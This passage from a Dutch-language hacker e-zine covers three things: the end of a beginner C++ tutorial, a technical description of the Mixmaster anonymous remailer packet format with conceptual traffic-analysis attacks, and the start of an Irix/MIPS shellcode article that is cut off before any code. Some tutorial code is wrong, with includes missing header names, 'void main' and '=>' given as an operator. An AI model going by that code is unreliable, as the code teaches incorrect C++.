hiervoor zijn we ook nog de header iomanip.h(Input Output Manipulator) nodig, om de precisie van het getal aangeven. Ook gaan we gebruik maken van een constante, dit is gewoon een variabele die je niet kunt aanpassen. Constanten zijn erg handig bij de waarde van valuta, omdat je dan niet overal in je programma de waarde hoeft te veranderen als de waarde van de munt zou veranderen, maar alleen bij de declaratie van de constante. Een constante declareer je net als een gewone variabele, maar je moet hem ook meteen initialiseren(een waarde eraan toewijzen). 1. // euro_omreken.cpp, programma om van euro's naar guldens om te rekenen 2. #include 3. #include 4. 5. void main() 6. { 7. float gulden, euro; 8. const float WAARDE_EURO = 2.20371; // het is gebruikelijk de naam van een constante in hoofdletters te schrijven 9. cout << "Bedrag in euro's:"; 11. cin >> euro; 12. cout << setiosflags( ios :: showpoint | ios :: fixed ); 13. cout << setprecision( 2 ); 14. gulden = euro * WAARDE_EURO; 15. cout << euro << " euro is omgerekend " << gulden << " gulden." << endl; 16. 17. cin.get(); 18. } Het nieuwe aan dit programmaatje is natuurlijk het gebruik van de constante, dat heb ik voor het programma al uitgelegd en dat doe ik dus niet weer. Het andere nieuwe is natuurlijk het gebruik het type float, dit is vrij simpel zoals je ziet. Met 'setprecision( 2 );' wordt de precisie van de uitvoer ingesteld op 2 getallen achter de komma. Omdat euro en WAARDE_EURO beide van hetzelfde type zijn wordt de uitkomst ook automatisch een waarde van het type float, en hoef je hem dus niet te veranderen voordat hij in gulden past. Zoals je ziet wordt er om het bedrag in guldens te krijgen gebruik gemaakt van de rekenkundige operator *, deze operator gebruik je om getallen met elkaar te vermenigvuldigen. Er zijn vanzelfsprekend nog meer rekenkundige operatoren, de meest gebruikten: +: om op te tellen -: om af te trekken /: om te delen *: om te vermenigvuldigen %: om de rest van de deling te berekenen Logische en relationele operatoren Als we het dan toch over operatoren hebben, laten we dan ook maar meteen de logische operatoren en relationele operatorn behandelen, deze worden namelijk veel gebruikt in beslissingsstructuren, waarover het stuk hieronder gaat. Allereerst maar eens logische operatoren, de meest gebruikten: &&: and, geeft de waarde true als de voorwaarden links en rechts ervan beide waar zijn, bijvoorbeeld: if( getal > 1.0 && getal < 10.0 ) De > en < worden straks uitgelegd, net als de 'if' structuur. Deze test geeft alleen de waarde true(waar) terug als de variabele(in dit geval een float) hoger is als 1.0 en lager is als 10.0. ||: or, geeft de waarde true als één van beide voorwaarden waar is, voorbeeld: if( letter == 'j' || letter == 'n' ) De '==' en 'if' worden straks uitgelegd. Deze test geeft de waarde true terug als de char "letter" de waarde "j", of de waarde n heeft. !: not, deze operator werkt iets anders als het voorgaande: if( !( letter == 'j' ) ) Deze test geeft de waarde true als de variabele char NIET de waarde "j" heeft, hij keert de waarde dus om. Als letter dus "f" als waarde heeft, zou letter == 'j' de waarde false geven, ! keert dit om naar true. Relationele operatoren: ==: is gelijk aan, voorbeeld: if( getal == 25 ) Vergelijkt getal met 25, als ze gelijk zijn geeft dit de waarde true. !=: is niet gelijk aan: if( getal != 25 ) Eigenlijk het omgekeerde van ==, dit geeft de waarde true als getal niet gelijk is aan 25. >: is hoger dan <: is lager dan <=: is lager of gelijk aan =>: is hoger of gelijk aan Voorbeeld: if( getal < 25 ) Geeft true als de waarde van "getal" lager is als 25. if( getal > 25 ) Geeft true als de waarde van "getal" hoger is als 25. if( getal <= 25 ) Geeft true als de waarde van "getal" lager of gelijk aan 25 is. if( getal >= 25 ) Geeft true als de waarde van "getal" hoger of gelijk aan 25 is. Beslissingsstructuren Zoals de naam al zegt zijn dit structuren om iets te beslissen, 'wat dan?', nou een voorbeeld. Je hebt een programma geschreven dat vraagt om een cijfer voor een examen, als dit cijfer hoger is dan een 5.4, en dus een voldoende is, moet er 'Gefeliciteerd, je bent geslaagd!' op het scherm worden afgedrukt. Als het getal echter lager is dan een 5.5 is het onvoldoende en moet er dus iets worden afgedrukt als 'Jammer, volgende keer beter'. Omdat je dit niet op een andere manier kunt doen en aangezien beslissingsstructuren(wat een woord) heel veel gebruikt worden, zal ik het even kort toelichten. Er zijn twee soorten beslissingsstructuren: het if en het switch statement. Het if statement dient vooral om uit twee mogelijkheden te kiezen en op grond daarvan een aantal opdrachten uit te voeren. Het switch statement kan echter meerdere gevallen van elkaar onderscheiden. Een voorbeeldje: 1. // cijfer.cpp, programma om te kijken of het ingevoerde cijfer voldoende is 2. #include 3. 4. void main() 5. { 6. float cijfer; 7. 8. cout << "Wat was het cijfer?"; 9. cin >> cijfer; 10. 11. if( cijfer >= 5.5 ) cout << "Dat is een voldoende" << endl; 12. else cout << "Helaas, dat is geen voldoende" << endl; 13. 14. cin.get(); 15. cin.get(); 16. } Is allemaal vrij duidelijk lijkt me, maar voor als je het niet begrijpt: als het ingetikte cijfer hoger of gelijk aan 5.5 is, dan wordt er 'Dat is een voldoende' afgedrukt, is dit echter niet het geval, dan wordt er 'Helaas, dat is geen voldoende' afgedrukt. Dit is natuurlijk wel leuk, maar als je bijvoorbeeld op grond van elk getal een andere boodschap wilt laten afdrukken, ben je dus een ander statement nodig, hier kom het switch statement om de hoek kijken. Eerst zal ik even een uitleg over het switch statement geven, en daarna de source van het zojuist beschreven programma. Het switch statement kan zoals ik al eerder verteld heb meerdere gevallen van elkaar onderscheiden als het if statement, je kunt bij een switch statement echter alleen integerwaarden met elkaar vergelijken, dus geen gebroken getallen zoals bijvoorbeeld 3.14. Na elke mogelijkheid gebruik je 'break;' om de beslissingsstructuur te verlaten. Je kunt bij een switch statement ook een 'default' opdracht gebruiken, voor het geval geen van de waardes overeenkomt met de waarde van de variabele. Dan nu een voorbeeld: 1. // cijfer2.cpp, programma om op grond van getal boodschap weer te geven 2. #include 3. 4. void main() 5. { 6. int cijfer; 7. 8. cout << "Wat was het cijfer(alleen hele getallen):"; 9. cin >> cijfer; 10. 11. switch( cijfer ) 12. { 13. case 10: cout << "Uitmuntend" << endl; 14. break; 15. case 9: cout << "Zeer goed" << endl; 16. break; 17. case 8: cout << "Goed" << endl; 18. break; 19. case 7: cout << "Ruim voldoende" << endl; 20. break; 21. case 6: cout << "Voldoende" << endl; 22. break; 23. case 5: cout << "Net geen voldoende" << endl; 24. break; 25. case 4: cout << "Onvoldoende" << endl; 26. break; 27. case 3: cout << "Zeer onvoldoende" << endl; 28. break; 29. case 2: cout << "Slecht" << endl; 30. break; 31. case 1: cout << "Zeer slecht" << endl; 32. break; 33. default: cout << "Ongeldig cijfer" << endl; 34. } 35. 36. cin.get(); 37. cin.get(); 38. } In de regels 14, 16, 18, 20, 22, 24, 26, 28, 30 en 32 wordt het break statement gebruikt, om de beslissingsstructuur te verlaten. In regel 33 zie je het default statement, als er dus geen geheel getal is ingevoerd, of het ingevoerde getal is te groot, dan worden de opdrachten achter default uigevoerd. Met het switch statement kun je ook chars van elkaar onderscheiden, dit komt omdat chars worden opgeslagen onder hun ASCII code, op deze manier zou je dus een simpele rekenmachine kunnen maken: 1. // rekenmachine.cpp, programma om simpele berekening uit te voeren 2. #include 3. 4. void main() 5. { 6. float get1, get2; 7. char ch; 8. 9. cout << "Voer de berekening in: "; 10. cin >> get1 >> ch >> get2; 11. 12. switch( ch ) 13. { 14. case '+': cout << get1 << " + " << 15. get2 << " = " << (get1 + get2); 16. break; 17. case '-': cout << get1 << " - " << 18. get2 << " = " << (get1 - get2 ); 19. break; 20. case '*': cout << get1 << " * " << 21. get2 << " = " << (get1 * get2 ); 22. break; 23. case '/': cout << get1 << " / " << 24. get2 << " = " << (get1 / get2 ); 25. break; 26. case '%': cout << get1 << " % " << 27. get2 << " = " << ( int( get1 ) % int( get2 ) ); 28. break; 29. default : cout << "Onjuiste invoer"; 30. } 31. 32. cin.get(); 33. cin.get(); 34. } Simpel, of niet dan? In regel 27 worden get1 en get2 omgezet naar integers, omdat ze anders niet gebruikt kunnen worden om de rest van de deling uit te rekenen. Verder is alles al eens eerder uitgelegd. Loops Een loop is een blok code met één of meerdere opdrachten die uitgevoerd worden zolang de voorwaarde die wordt meegegeven waar is. Er zijn meerdere soorten loops, hier een paar voorbeelden: for( int i = 0; i <= 100; i++ ) { cout << i << endl; } Dit is een for-loop, eerst wordt in de loop zelf een nieuwe variabele gedeclareerd, deze variabele krijgt de waarde 0, zolang als de waarde van deze variabele lager of gelijk aan 100 is wordt er één bij opgeteld, en de opdracht tussen de { en } uitgevoerd. Eigenlijk zou je deze loop dus zo kunnen lezen: for( nieuwe variabele krijgt waarde 0; zolang als de variabele lager of gelijk aan 100 is; tel je er één bij op ) Het er één bij optellen wordt gedaan door i++, hierdoor wordt i met één verhoogd. Misschien had je het al door, maar hier is de naam C++ dus ook van afgeleid, ++ staat voor 'iets toevoegen aan', en C++ is ook een toevoeging / verbetering van C. Je zou dit ook met een andere soort loop kunnen doen: while( i <= 100 ) { cout << i << endl; i++; } Dit werkt dus eigenlijk hetzelfde, alleen tel je nu één op bij de waarde van i in de body(vanaf { tot }) van de loop. Nog een manier: do { cout << i << endl; i++; } while( i <= 100 ); Het verschil tussen de drie manieren is dat bij het laatste voorbeeld de body van de loop minstens één keer wordt doorlopen, omdat de controle pas daarna plaatsvindt. Een for- of een while-loop zit er dus schematisch zo uit: [controle gedeelte] { // opdrachten } Een do-loop: do { // opdrachten } [controle gedeelte] Om even het nut van de loops aan te geven zal ik een aantal voorbeelden geven met daarin loops. De hele ASCII tabel op het scherm afdrukken, dit kan met alle drie de soorten loops: 1. // ASCII_for.cpp, geeft alle ASCII tekens weer d.m.v. for-loop 2. #include 3. #include 4. 5. void main() 6. { 7. int i = 0; 8. char ch; 9. 10. for( i = 1; i <= 255; i++ ) 11. { 12. ch = i; 13. cout << setw( 4 ) << i << 14. ": " << setw( 2 ) << ch; 15. 16. if( !( i % 11 ) ) cout << endl; 17. } 18. 19. cin.get(); 20. } 1. // ASCII_while.cpp, geeft alle ASCII tekens weer d.m.v. while-loop 2. #include 3. #include 4. 5. void main() 6. { 7. int i = 0; 8. char ch; 9. 10. while( i <= 255 ) 11. { 12. ch = i; 13. cout << setw( 4 ) << i << 14. ": " << setw( 2 ) << ch; 15. 16. if( !( i % 11 ) ) cout << endl; 17. i++; 18. } 19. 20. cin.get(); 21. } 1. // ASCII_do.cpp, geeft alle ASCII tekens weer d.m.v. do-loop 2. #include 3. #include 4. 5. void main() 6. { 7. int i = 0; 8. char ch; 9. 10. do 11. { 12. ch = i; 13. cout << setw( 4 ) << i << 14. ": " << setw( 2 ) << ch; 15. 16. if( !( i % 11 ) ) cout << endl; 17. i++; 18. } while( i <= 255 ); 19. 20. cin.get(); 21. } Alle drie de bovenstaande manieren hebben hetzelfde resultaat, ze drukken alle tekens in de ASCII tabel af. Nieuw in dit voorbeeld is setw(), hiermee kun je aangeven hoeveel ruimte het volgende argument van de functie cout moet innemen. Als dat argument niet zoveel tekens lang is als tussen de ( en ) achter setw is aangegeven, dan wordt de ongebruikte ruimte opgevuld met spaties. Om deze functie te kunnen gebruiken moet je wel iomanip.h includen in je programma. De for- en de while-loop lijken erg op elkaar, met een do-loop kun je ook hetzelfde resultaat bereiken, maar met de do-loop kun je ook dingen doen die je met een for- of een while-loop niet kunt. Hieronder een voorbeeld waarmee je de gebruiker de keuze geeft of het programma moet stoppen of niet: 1. // gemiddelde.cpp, rekent gemiddelde van ingevoerde cijfers uit 2. #include 3. #include 4. 5. void main() 6. { 7. float cijfer; 8. double som = 0.0; 9. int i = 0; 10. 11. do 12. { 13. cout << "Voer een cijfer in(0 of te stoppen): "; 14. cin >> cijfer; 15. if( cijfer != 0.0 ) 16. { 17. som += cijfer; 18. i++; 19. } 20. } while( cijfer != 0.0 ); 21. 22. cout << setiosflags( ios :: showpoint | ios :: fixed ); 23. cout << setprecision( 2 ); 24. cout << "Je hebt " << i << " cijfers ingevoerd, het gemiddelde is " << 25. float( som / i ); 26. 27. cin.get(); 28. cin.get(); 29. } In dit voorbeeld wordt dus om een cijfer gevraagd zolang als het ingevoerde cijfer anders is als 0.0(dus ook als er 0 wordt ingevoerd). In regel 22 wordt aangegeven dat er een punt moet worden weergegeven, als je dit niet doet dan kan het zijn dat de uitkomst in wetenschappelijke notatie op het scherm wordt afgedrukt en dat is nogal onduidelijk. Functies Soms heb je te maken met een lastig, uitgebreid probleem, je kunt dat probleem dan onderverdelen in kleine deelprobleempjes, zodat het overzichtelijker is, dit doe je met functies. Het voordeel van een functie is dat je de code erin maar één keer hoeft te schrijven, daarna kun je de functie steeds weer aanroepen. Er zijn meerdere "soorten" functies, namelijk functies die een waarde teruggeven, en functies die dat niet doen en bijvoorbeeld gewoon iets op het scherm afdrukken. Laten we eerst maar eens een functie schrijven die een vierkant van 10 'x'en op het scherm afdrukt, dit doen we met de functie "vierkant", waarin we een aantal loops zetten. Om een functie te kunnen aanroepen moeten we aan de compiler duidelijk maken dat we de functie willen gebruiken, net als bij een variabele, die ook eerst gedeclareerd moet worden. Een functie declareren doe je door een "prototype" voor main() te plaatsen, of door de functie boven main() te zetten. Bij grote programma's is het handig om main() bovenaan te de source te houden, zodat hij makkelijk weer te vinden is. Dus zal ik gebruik maken van een prototype, zo ziet het prototype van de functie "vierkant" eruit: void vierkant(); Hiermee "declareer" je de functie als het ware, zodat je hem later kunt gebruiken, de functie vierkant ziet er zo uit: 1. void vierkant() 2. { 3. for( int i = 0; i <= 10; i++ ) cout << "x"; 4. cout << endl; 5. 6. for( int j = 0; j <= 8; j++ ) 7. { 8. cout << "x"; 9. for( int k = 0; k <= 8; k++ ) cout << " "; 10. cout << "x" << endl; 11. } 12. 13. for( int l = 0; l <= 10; l++ ) cout << "x"; 14. cout << endl; 15. } Met vier loops drukken we een vierkant op het scherm af, je ziet dat we twee keer for( int i = 0; i <= 10; i++ ) cout << "x"; gebruiken, om de boven- en de onderkant van het vierkant te maken. Omdat functies er zijn om programma's kleiner en overzichtelijker te maken, zouden we deze regel ook in een functie kunnen zetten: 1. void lijn() 2. { 3. for( int i = 0; i <= 10; i++ ) cout << "x"; 4. cout << endl; 5. } De functie "vierkant" gaat er nu ook anders uitzien: 1. void vierkant() 2. { 3. lijn(); 4. for( int j = 0; j <= 8; j++ ) 5. { 6. cout << "x"; 7. for( int k = 0; k <= 8; k++ ) cout << " "; 8. cout << "x" << endl; 9. } 10. lijn(); 11. } Voor de grootte van het bestand maakt deze verandering niet zo heel veel uit, maar voor de overzichtelijkheid is het wel degelijk een vooruitgang. Vooral wanneer je grotere programma's gaat schrijven van soms honderden regels kan het erg veel schelen. Het nadeel van de functie "vierkant"(maar ook van de functie "lijn") is dat je niet aan kunt geven hoeveel 'x'en het vierkant breed moet zijn, dit kan wel in C++, namelijk met argumenten. Argumenten zijn variabelen die je doorgeeft aan een functie, en die in de functie gebruikt kunnen worden. Dit is vooral handig omdat de meeste variabelen alleen geldig zijn in de functie waarin je ze declareert. Je zou dan allemaal globale variabelen kunnen gebruiken(variabelen die je boven aan je source declareert en die in het hele programma gebruikt kunnen worden), maar dit kan verwarrend zijn, als je een variabele in een functie dezelfde naam geeft. Laten we maar eens een programma schrijven waarin gevraagd wordt om de breedte(en dus ook de hoogte) van het vierkant: 1. #include 2. 3. void vierkant( int hoogte ); 4. void lijn( int breedte ); 5. 6. void main() 7. { 8. int aantal; 9. 10. cout << "Hoe breed moet het vierkant worden? "; 11. cin >> aantal; 12. 13. vierkant( aantal ); 14. 15. cin.get(); 16. cin.get(); 17. } 18. 19. void lijn( int breedte ) 20. { 21. for( int i = 0; i <= breedte; i++ ) cout << "x"; 22. cout << endl; 23. } 24. 25. void vierkant( int hoogte ) 26. { 27. lijn( hoogte ); 28. for( int j = 0; j <= ( hoogte - 2 ); j++ ) 29. { 30. cout << "x"; 31. for( int k = 0; k <= ( hoogte - 2 ); k++ ) cout << " "; 32. cout << "x" << endl; 33. } 34. lijn( hoogte ); 35. } Let wel even op dat variabelen van hetzelfde type moeten zijn als de argumenten van een functie, ze worden namelijk niet automatisch omgezet naar het goede type. Als je een float wilt omzetten naar een integer om daarmee een functie aan te roepen dan doe je dat zo: functie( int( getal ) ); In dit voorbeeld is getal dus een float. Je kunt natuurlijk ook andere typen variabelen doorgeven aan functies, maar daar is geen uitleg voor nodig lijkt me. Dit was het dan voor nu, ik denk dat er nog wel vervolgen gaan komen op dit artikel. Mocht je opmerkingen, tips, vragen of wat dan ook hebben na aanleiding van dit artikel, mail ze dan naar carni4@dutchdevelopers.nl. Kijk wel eerst even in de Help van je compiler, of zoek even zelf op forums en programmeersites, de meeste antwoorden zijn wel ergens te vinden. Ik hoop dat je wat aan dit artikel hebt gehad, ik hoop je de volgende keer weer te zien bij het volgende artikel, probeer tot die tijd de dingen uit die ik hier heb beschreven, voor de rest, happy coding! Bronnen Aan de slag met C++, G. Laan, hieruit heb ik onder andere het bereik van een aantal types variabelen gehaald omdat ik dat niet uit mijn hoofd weet. CArNi4 ------------------------------------------------------- 05. Mixmaster protocol ------------------------------------------------------- Eerdere edities van dit magazine zijn al ingegaan op wat cryptografie precies inhoudt. Dit artikel gaat zich voornamelijk bezighouden met het de problemen bij het uitwisselen van versleutelde berichten. Voor de rest van dit artikel dient de lezer aan te nemen dat de connectie naar het Internet gecompromitteerd is en dat alle uitgaande berichten onderschept worden. Het mixmaster protocol anonimiseert het bericht. De reden hiervoor is om de verzender te beschermen. Standaard PGP encryptie beschermt het bericht alleen voor derden (of integreert / authenticeert het bericht). Als de werkelijke message ingepakt wordt in een envelop, deze message als bericht geplakt wordt aan een andere email die gestuurd wordt naar een mixmaster, dan zal de mixmaster zorgen dat het uiteindelijke bericht aankomt bij de ontvanger. Het is nodig om wat meer mixmasters te betrekken (chaining), zodat de anonimiteit niet afhangt van een enkele node die nog wel eens gecompromitteerd kan zijn. Een anonimiserende mailserver als blackbox getekend ziet het er zo uit: -------------- in-msg ----> | mailserver | -----> uit-msg 'timestamp 1' -------------- 'timestamp 2' Nou zijn er een aantal kenmerken waaruit af te leiden is wie met wie gecommuniceerd heeft: 1. Tijd van versturen en tijd van ontvangst. 2. Grootte van het bericht. Als het gebruikte algoritme bekend is kun je een approximatie maken van de resulterende grootte in de emailbody. 3. Analyse van woordgebruik / zinsopbouw en die herleiden naar bekende personen. 4. Grootte van traffic-stream op de mixmaster. 5. Replay attacks. 6. Suppression attacks. Punt 1 uitgelegd: In het bovenstaande plaatje is het duidelijk dat timestamp 1 niet ver in het verleden zal liggen van timestamp 2. Stel dat de input EN outputstream van de mixmaster bekeken wordt, dan ontstaat het probleem dat elke ingaande message regelrecht eruit komt, waarin de headers uitgepakt zijn en vervolgens is het nog steeds mogelijk om met enige zekerheid te zeggen wie het bericht verstuurd kan hebben. Er zijn wat ideeën geweest om een delay in te bouwen plus b.v. het herordenen van berichten in de mailserver zelf, maar die zijn niet zo betrouwbaar als ze klinken. Punt 2 uitgelegd: Grootte van out-msg = grootte van in-msg + een aantal bytes (de envelop+headers). Dit betekend dat elk bericht wat verstuurd wordt identiek in grootte moet zijn om niet te onderscheiden te zijn van anderen. Hiervoor wordt vaak padding gebruikt. Op deze manier is het moeilijker om het bericht op grootte van het bericht terug te traceren. Punt 4 uitgelegd: Als het mixmaster netwerk volledig ongebruikt is dan is het tracen van een enkel bericht niet zo moeilijk. Dit in tegenstelling tot een redelijk gebruikt netwerk waardoor het heel moeilijk wordt om het bericht in de stroom te onderscheiden. Punt 5 uitgelegd: Een replay attack in cryptografie is in principe het opnieuw in de stroom brengen van een al verstuurd bericht of pakket. Zou het bijvoorbeeld mogelijk zijn om een emailbericht vanaf de verstuurder volledig op te vangen en dan een enorme flood van dezelfde messages door de mixmaster chain te gooien, dan wordt de route duidelijk gemaakt van deze berichten en de ontvanger krijgt dan deze mailbom voor zijn kiezen. Voor de attacker is dit niet belangrijk, die wil enkel weten 'wie-met-wie' communiceert. Om dit tegen te gaan is het noodzakelijk om random ID's te gebruiken in de message binnen de envelop zelf (zodat de attacker het random ID niet aan kan passen). Als de mixmaster het ID registreert en het opnieuw ziet, moet deze het bericht dan droppen en verdergaan. Punt 6 uitgelegd: Als er een grote hoeveelheid messages verstuurd worden en de attacker heeft de mogelijkheid om de in-msg's te onderdrukken, kan de attacker nagaan of een zekere out-stream ook op hetzelfde moment ophoudt. Dit geeft ook een grote zekerheid over 'wie-met-wie' communiceert. Een probleem voor anonimizing servers is dat je nooit een reply-mail kan ontvangen. Voor dit probleem kun je een alternatief gebruiken, genaamd 'nym- servers' (ook geïmplementeerd voor mixmasters). Het voordeel is dat je een pseudoniem krijgt op Internet, maar het zal duidelijk zijn dat door extensief gebruik het heel makkelijk wordt om de werkelijke identiteit van iemand te achterhalen. Echter, voor tijdelijk gebruik of gebruik voor een enkele reeks berichten kan het zeer bruikbaar zijn. Hoe ziet een mixmaster bericht eruit? Als een mixmaster een bericht binnenkrijgt, ziet dat eruit als volgt: :: Remailer-Type: Mixmaster 2.9b33 -----BEGIN REMAILER MESSAGE----- 20480 FsziI/RbmX4ju+KtQhVdJg== 27LSuawoe7bvikoNZH4crYCchS6TvDJ5VaKatlyM QzMceBLRIQk3XmMGhJiaIyPI7fG3pmqkD9pUuUX6 JmR09tGmxnJj/HG2xyhtp7RkJuMgN7GY+0rPV+IL 0/S9bPZO5trDgKZAR9wEgLKdz1hjFxQjbGjkF4qz E5g/OBkS4vsHJIBR00RTEoo3pxI= -----END REMAILER MESSAGE----- 20480 duidt op de lengte van het bericht. Zoals in deel 1 reeds gezegd is moeten alle berichten precies hetzelfde van lengte zijn. Hiervoor is 20480 bytes gekozen. Een totaal-bericht dat langer is wordt opgeknipt in delen van 10236 bytes en kan verstuurd worden door verschillende chains, mits de laatste mixer in de chain dezelfde is. De reden hiervoor is natuurlijk dat anders de gedeeltes niet meer samengebracht kunnen worden. De eerste regel die korter is dan de andere regels is een message digest in base64 formaat. Deze is 16 bytes lang (gedecodeerd) en is de digest over het complete base64-decoded bericht. Dat wil zeggen dat de rest van de message eerst base64-gedecodeerd wordt en daarna wordt de gestuurde digest vergeleken met de geproduceerde digest over die message. Zoals eerder vermeld is de werkelijke tekst (of data) in de message maar 10236 bytes lang. Dit heeft te maken met de informatie die nodig is voor de andere mixers om de message door te sturen. Als bovenstaand bericht gedecodeerd wordt bestaat die uit twee grove blokken van 10240 bytes. Het eerste blok zijn de headers voor de andere mixers (of dummy headers met dummy data) en het andere blok bestaat uit 4 bytes (die de _werkelijke_ lengte aangeven van het bericht), de werkelijke data en dummy data die meegestuurd wordt om het bericht 10236 lang te maken. Om het bovenstaande wat duidelijker te maken: -----BEGIN REMAILER MESSAGE----- 20480 .. .. <4 bytes length in little-endian> -----END REMAILER MESSAGE----- Als we aannemen dat er 4 remailers gebruikt worden in de chain, bevatten headers 5-20 random data en header 4 bevat de informatie om de data in de body te ontcijferen. In die body staat dan de uiteindelijk recipient van de email. Het aantal mixers in de chain heeft dus invloed op het aantal werkelijke headers in de message. De header: Een header is 512 bytes. Er staat het volgende in. Het nummer tussen de haken geeft het aantal bytes weer. public key id [16], dit is de public key van de remailer die het bericht ontvangt. Als deze de public key niet kan herkennen, zal de message genegeerd worden. Lengte van RSA-versleutelde data [1]. Dit is nu 128. RSA-versleutelde sessie-sleutel (Triple-DES) [128]. Deze sessie-sleutel is een Triple-DES sleutel (ook wel DESede genoemd of 3DES). Deze sleutel werd gebruikt om het versleutelde header gedeelte te versleutelen. Dat gedeelte wordt later beschreven. De RSA-versleuteling gebeurt door gebruik te maken van de publieke RSA-sleutel van de mixmaster die het bericht ontvangt. Met andere woorden, alleen die mixmaster zou de mogelijkheid hebben om de sessie-sleutel te ontcijferen. Initialisatie-vector [8]. Deze vector werd gebruikt voor de versleuteling met 3DES in het versleutelde header-gedeelte. Versleutelde header gedeelte [328]. Dit gedeelte bevat belangrijke informatie over de volgende stap in de chain en ook de sleutel die gebruikt werd voor versleuteling van opvolgende headers en de body. Padding [31]. random byte padding om de header 512 bytes te maken. Versleutelde header-gedeelte: Packet id [16]. Als er meerdere partials verstuurd worden omdat de totale message langer is dan 10236, is dit een identifier voor de specifieke partial. 3DES key [24]. Deze 3DES key is gebruikt voor versleuteling van de opvolgende headers en de body. Echter, de initialisatie-vector voor het 3DES-algoritme is telkens anders en wordt ook meegestuurd in andere velden. Packet type identifier [1]. Deze geeft het type message weer. 0 = intermediate hop (alleen doorsturen) 1 = final hop, complete message 2 = final hop, partial message Packet information [depends]. Dit bevat initialisatie-vectoren voor versleuteling van opvolgende headers en de body. In het geval van packettype 0 wordt hierin ook het emailadres van de volgende mixer gezet. In andere packettypen staat hier een message ID. Dit wordt later beschreven in "packet information". Timestamp [7]. Dit zijn 4 ASCII nullen "0000", een 0x00 byte en 3 bytes die het aantal dagen voorstelt sinds 1 jan, 1970. Van dit aantal dagen mag een random integer getal van max. 3 afgetrokken worden. Message digest [16]. Deze digest wordt berekend over de bovenstaande elementen in dit versleutelde header-gedeelte, voordat dit header-gedeelte versleuteld wordt. random padding [depends]. vult dit gedeelte op tot 328 bytes. Packet information: De packet information hangt af van het type pakket wat verstuurd wordt. packet type 0 19 init vectoren [152]. Dit zijn de initvectoren gebruikt voor encryptie van opvolgende headers. b.v. initvector 1 van 8 bytes werd gebruikt voor encryptie van header 2. initvector 19 werd gebruikt voor header 20 EN de body. remailer address [80]. Dit is het email adres van de volgende mixer. packet type 1 message id [16]. Dit is een message id om te voorkomen dat een afluisteraar nogmaals het pakket doorstuurt en daarmee hoopt te kunnen zien naar wie een mixer het pakket gestuurd heeft. Dit message id wordt dus opgeslagen door de mixer en als dit tweemaal voorkomt, wordt het geweigerd. init vector [8]. Deze vector werd gebruikt voor de body. opvolgende headers worden door packet type 1 genegeerd. (let op!) er zijn ALTIJD 20 headers in de message, maar die hoeven niet gebruikte headers te zijn. packet type 2 chunk number [1]. Het nummer van deze partial. number of chunks [1]. Het aantal partials. message id [16]. Zie boven. init vector [8]. zie boven. Om nu het geheel wat duidelijker te maken alles nog eens op een rijtje voor packet type 0: ---------------------- public key id [16] length enc. data [1] RSA enc. sess key [128] init vector [8] packet id [16] 3DES key [24] packet type id [1] 19 init vectors [152] remailer address [80] timestamp [7] message digest [16] random padding [9] padding [31] ---------------------- Het volgende gedeelte zal proberen uit te leggen wat met wat versleuteld wordt en hoe het als geheel gaat werken. Voor 4 remailers: 1. Beginnen bij header 4, de laatste remailer, die de uiteindelijke body stuurt naar de recipient... 2. buffer opbouwen van 10240 bytes en de opvolgende 19 headers initialiseren met random bytes. 3. Sleutel opbouwen voor encryptie van body. 4. De body encrypten met de sleutel. 5. Encrypted header gedeelte bouwen, inpakken met een sessie-sleutel en deze sessie sleutel encrypten met de public RSA-key van de mixer. 6. Header afbouwen en de volledige buffer (deze geldige header plus de rest van de random data) kopieren naar een andere buffer. 7. Header 3 bouwen op dezelfde manier, maar omdat dit een packettype 0 is, worden alle opvolgende headers versleuteld met de 3DES key en corresponderende initvector (vector 1 van de 19 is voor header 2, vector 2 van de 19 is voor 3, vector 19 is voor header 20 PLUS de body). 8. Buffer kopieren en door naar header 2 en verder naar header 1. Om dit wat meer grafisch weer te geven: iv2-1 is de initialisatie vector opgeslagen in header 2, vector nummer 1. iv2-2 is opgeslagen in header 2, iv nummer 2, enz... key = 3DESkey. 1..4 zijn de header nummers. header1 header2 header3 header4 random bytes in headers iv3-1, key3 iv3-2,key3 iv3-.., key3 iv2-1, key2 iv2-2, key2 iv2-2,key3 iv2-.., key2 iv1-1,key1 iv1-2, key1 iv1-3, key1 iv1-2,key3 iv1-.., key1 Voor de encryptie van de body geldt ongeveer hetzelfde, maar dan body iv4, key4 iv3-19, key3 iv2-19, key2 iv1-19, key1 Het resultaat van het algoritme is in ons geval dus een 4 maal versleutelde body en 4 werkelijke headers die stuk voor stuk uitgepakt worden. De mixer gebruikt de informatie om de rest van de headers en body te decrypten. Hierdoor komt een gedeelte van de volgende header bloot te liggen, die weer gebruikt wordt door de volgende mixer. Rest mij nog te vertellen wat er nu in een body staat, omdat alleen de contents van de body gebruikt worden om de uiteindelijke message naar de recipient te sturen (hier is geen informatie over opgeslagen in de mixer header of email- header). Het ziet eruit als: Aantal destination velden [1]. Aantal velden waaraan doorgestuurd moet worden. Destination velden [80] per stuk. Aantal header velden [1]. Aantal velden voor extra headers (subject, etc.). Header velden [80] per stuk. User data [ max. 2.5 MB ]. b.v.: 2recipient@test.com [padding met 0x00 tot 80] recipient@somewhere.com [padding met 0x00 tot 80] 1Subject: test [padding met 0x00 tot 80] Een destination veld hoeft niet een emailadres te bevatten, het volgende mag ook: null: (dummy message) post: (newsgroup message) post: [newsgroup] (newsgroup message) [address] (email message) De daadwerkelijke body kan verder nog in GZIP formaat gezipped worden om meer tekst per partial kwijt te kunnen (mocht ~10K niet genoeg zijn). Meer informatie over mixmasters: www.cypherpunks.org Versie 3 is nog niet volledig geaccepteerd. Deze tekst is gebaseerd op versie 2! Chiraz HNC Senior Developer Chiraz@hack-net.com ------------------------------------------------------- 06. Writing Irix/MIPS shellcode ------------------------------------------------------- Introductie De laatste tijd hoor je veelal dingen over het CISC architecture(x86) en steeds minder over RISC. Toch is deels RISC het type van de toekomst. Rond 2005 zal Intel hun 1e op RISC gebaseerde processor releasen. Dus heb ik besloten hier een tekst aan te wijten en dan wel over het schrijven van shellcode in de combinatie van een MIPS processor en het IRIX 6.X besturingssysteem. Het schrijven van assembly in deze combinatie is een klein stukje anders dat het schrijven van normale x86 assembly, waar ik later in dit artikel op zal ingaan. Maar voordat we beginnen met mips assembly/shellcode zal ik eerst het 1 en ander vertellen over de processor. De historie van de MIPS processor De 1e MIPS processor werd in 1984 ontwikkeld op de Stanford University. De ontwikkeling ging erg snel en in 1991 was haar 1e doorbraak, de R4000. Deze had ondersteuning voor 64 bits registers en hoge klok frequenties. Latere processors waren de R4400, R4600 and R4300. Deze werden gemaakt in de jaren 1993 tot 1996. Ze waren allen gebaseerd op het succesvolle model R4000. IN 1996 en 